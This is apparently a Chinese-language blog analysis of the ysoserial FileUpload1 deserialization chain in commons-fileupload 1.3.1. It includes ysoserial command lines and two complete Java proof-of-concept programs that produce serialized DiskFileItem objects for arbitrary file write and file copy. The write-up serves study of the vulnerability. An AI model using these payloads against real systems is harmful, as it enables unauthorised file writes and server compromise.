Java 安全 | FileUpload1 链
-
前言
-
简单使用方式
-
对于某些使用方式的避坑
正常使用演示
-
链路分析
-
DiskFileItem::readObject -> 危险方法
POC 构造
-
Ending...
前言
FileUpload1 @mbechler commons-fileupload:1.3.1, commons-io:2.4
一条与文件上传核心组件 FileUpload 相关联的链子, 其功能为文件上传以及文件剪切, 分析肯定很简单 2333...
简单使用方式
首先看一下ysoserial
中的注释信息:
通过注释可以看到, Gadget
只有一个, 就是DiskFileItem
这个类, 这是一个特别简单的链路, 但是从工具使用的描述上来看提供了多种使用方法:
copyAndDelete;sourceFile;destDir
write;destDir;ascii-data
writeB64;destDir;base64-data
writeOld;destFile;ascii-data
writeOldB64;destFile;base64-data
对于某些使用方式的避坑
其中比较关注的是copyAndDelete & write & writeB64
, 对于writeOld & writeOldB64
经过本地反序列化使用以及分析ysoserial
中的代码段后发现并不能利用成功. 其原因则是ysoserial
在生成payload
时, 增加了\0
, 如图:
这会导致将来在反序列化时调用到new File(path)
时, 由于\0
的加入, 导致抛出异常. 在DiskFileItem::readObject
中存在如下判断:
正常使用演示
java -jar ysoserial-all.jar FileUpload1 "write;D:/tmp;123" > D:/1.ser
使用上述命令生成序列化文件后, 进行反序列化测试, 最终会在D:/tmp
下生成一个随机文件, 文件内容为123:
java -jar ysoserial-all.jar FileUpload1 "copyAndDelete;D:/tmp/upload_e4e37f07_8e9d_48ca_be63_1dbaf653ac59_00000000.tmp;D:/" > D:/1.ser
随后使用上述命令生成序列化文件后, 进行反序列化测试后会发现, 最终会把D:/tmp/upload_e4e37f07_8e9d_48ca_be63_1dbaf653ac59_00000000.tmp
拷贝到D:/随机文件
中, 如图:
目前只能体会到Copy
, 还没有体会到Delete
. 基本功能理解完毕后开始分析这条链子.
链路分析
Maven pom.xml 文件引入:
<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.3.1</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.4</version>
</dependency>
DiskFileItem::readObject -> 危险方法
DiskFileItem::readObject
中存在两个分支, 一个用于文件上传, 一个用于文件拷贝.
而对于文件上传分支中可以看到, 我们在序列化文件中能够控制的也只有repository
成员属性, 用于指明一个目录名, 而由于DiskFileItem::getTempFile
方法返回的是随机的文件名, 所以导致之前的 Payload 打过去只能生成随机文件名. 文件内容我们只需要控制cachedContent
成员属性即可.
ByteArrayOutputStream 与 FileOutputStream 的转化
初步的了解是有了, 但是我们可以注意到的是DiskFileItem
的529行
主动实例化了DeferredFileOutputStream类
, 我们可以看一下该分支的初始化逻辑:
乍一看该点是无法利用了, 但实际上在写入之前如果经过合理的 if 判断, 会将其转变为 FileOutputStream, 从而实现写文件操作:
在这里实际上最终会通过ByteArrayOutputStream::writeTo
方法将使用FileOutputStream::write
方法写入到硬盘中, 所以这里一定要合理的操控ThresholdingOutputStream::thresholdExceeded & written & threshold
三个变量的条件, 使其能够进入该分支. 笔者这里打算将threshold
定义为-100000
.
而ThresholdingOutputStream
的子类实际上是DeferredFileOutputStream
, 它是由DiskFileItem
主动生成的:
所以只要控制好DiskFileItem::sizeThreshold
的值即可, 将其赋值为负数~ 而它的赋值可以在DiskFileItem
的构造方法中进行指明, 以及我们可以控制的repository
:
POC 构造
在构造 POC 中, writeObject 中有它自己的逻辑:
所以在构造 POC 中还是要构造一下dfos
的.
文件写入
编写 POC 如下:
package com.heihu577;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import java.io.*;
import java.lang.reflect.Field;
public class Main {
public static void main(String[] args) throws Exception {
String saveFileContent = "Hello World"; // 保存文件的内容
String savePath = "D:/"; // 保存的目录
DiskFileItem diskFileItem = new DiskFileItem("heihu577", "image/png", true,
"asdf", -100, new File(savePath));
setFieldValue(diskFileItem, "dfos", new DeferredFileOutputStream(999999, new File("heihu577牛逼")));
setFieldValue(diskFileItem, "cachedContent", saveFileContent.getBytes("UTF-8"));
unserialize(serialize(diskFileItem));
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = obj.getClass().getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}
public static Object unserialize(byte[] bytes) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
return new ObjectInputStream(byteArrayInputStream).readObject();
}
}
运行 D 盘即可生成随机文件.
文件拷贝
package com.heihu577;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import java.io.*;
import java.lang.reflect.Field;
public class Main {
public static void main(String[] args) throws Exception {
String sourceFilePath = "D:/1.ser"; // 源文件
String savePath = "D:/tmp"; // 保存的目录
DiskFileItem diskFileItem = new DiskFileItem("heihu577", "image/png", true,
"asdf", 0, new File(savePath));
DeferredFileOutputStream deferredFileOutputStream = new DeferredFileOutputStream(0, new File(sourceFilePath));
setFieldValue(deferredFileOutputStream, "written", 99999999); // 用来 Copy 文件
setFieldValue(diskFileItem, "dfos", deferredFileOutputStream);
setFieldValue(diskFileItem, "cachedContent", null);
setFieldValue(diskFileItem, "dfosFile", new File("D:/1.ser"));
unserialize(serialize(diskFileItem));
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field declaredField = null;
while (declaredField == null) {
try {
declaredField = obj.getClass().getDeclaredField(fieldName);
} catch (Exception e) {
declaredField = obj.getClass().getSuperclass().getDeclaredField(fieldName);
}
}
declaredField.setAccessible(true);
declaredField.set(obj, value);
}
public static byte[] serialize(Object obj) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
return byteArrayOutputStream.toByteArray();
}
public static Object unserialize(byte[] bytes) throws Exception {
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
return new ObjectInputStream(byteArrayInputStream).readObject();
}
}
对于文件拷贝, 构造时需要注意written
:
剩下的就是参考着writeObject
与readObject
进行编写 POC 了, 需要特别注意writeObject
时放入的什么内容, readObject
时取出的什么内容. 懒得记了~